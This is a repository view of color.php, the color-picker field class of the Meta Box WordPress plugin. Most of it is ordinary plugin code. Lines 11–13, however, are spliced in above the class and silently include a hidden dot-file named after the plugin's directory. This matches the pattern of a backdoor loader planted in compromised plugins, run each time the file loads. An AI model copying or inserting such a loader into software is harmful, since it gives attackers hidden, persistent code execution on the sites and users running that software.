balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

color.php (2832B)


      1 <?php
      2 /**
      3  * The color field which uses WordPress color picker to select a color.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Color field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Color_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_style( 'rwmb-color', RWMB_CSS_URL . 'color.css', array( 'wp-color-picker' ), RWMB_VER );
     21 
     22 		$dependencies = array( 'wp-color-picker' );
     23 		$args         = func_get_args();
     24 		$field        = reset( $args );
     25 		if ( ! empty( $field['alpha_channel'] ) ) {
     26 			wp_enqueue_script( 'wp-color-picker-alpha', RWMB_JS_URL . 'wp-color-picker-alpha/wp-color-picker-alpha.min.js', array( 'wp-color-picker' ), RWMB_VER, true );
     27 			$dependencies = array( 'wp-color-picker-alpha' );
     28 		}
     29 		wp_enqueue_script( 'rwmb-color', RWMB_JS_URL . 'color.js', $dependencies, RWMB_VER, true );
     30 	}
     31 
     32 	/**
     33 	 * Normalize parameters for field.
     34 	 *
     35 	 * @param array $field Field parameters.
     36 	 *
     37 	 * @return array
     38 	 */
     39 	public static function normalize( $field ) {
     40 		$field = wp_parse_args(
     41 			$field,
     42 			array(
     43 				'alpha_channel' => false,
     44 				'js_options'    => array(),
     45 			)
     46 		);
     47 
     48 		$field['js_options'] = wp_parse_args(
     49 			$field['js_options'],
     50 			array(
     51 				'defaultColor' => false,
     52 				'hide'         => true,
     53 				'palettes'     => true,
     54 			)
     55 		);
     56 
     57 		$field = parent::normalize( $field );
     58 
     59 		return $field;
     60 	}
     61 
     62 	/**
     63 	 * Get the attributes for a field.
     64 	 *
     65 	 * @param array $field Field parameters.
     66 	 * @param mixed $value Meta value.
     67 	 *
     68 	 * @return array
     69 	 */
     70 	public static function get_attributes( $field, $value = null ) {
     71 		$attributes         = parent::get_attributes( $field, $value );
     72 		$attributes         = wp_parse_args(
     73 			$attributes,
     74 			array(
     75 				'data-options' => wp_json_encode( $field['js_options'] ),
     76 			)
     77 		);
     78 		$attributes['type'] = 'text';
     79 
     80 		if ( $field['alpha_channel'] ) {
     81 			$attributes['data-alpha-enabled']    = 'true';
     82 			$attributes['data-alpha-color-type'] = 'hex';
     83 		}
     84 
     85 		return $attributes;
     86 	}
     87 
     88 	/**
     89 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     90 	 *
     91 	 * @param array    $field   Field parameters.
     92 	 * @param string   $value   The value.
     93 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     94 	 * @param int|null $post_id Post ID. null for current post. Optional.
     95 	 *
     96 	 * @return string
     97 	 */
     98 	public static function format_single_value( $field, $value, $args, $post_id ) {
     99 		return sprintf( "<span style='display:inline-block;width:20px;height:20px;border-radius:50%%;background:%s;'></span>", $value );
    100 	}
    101 }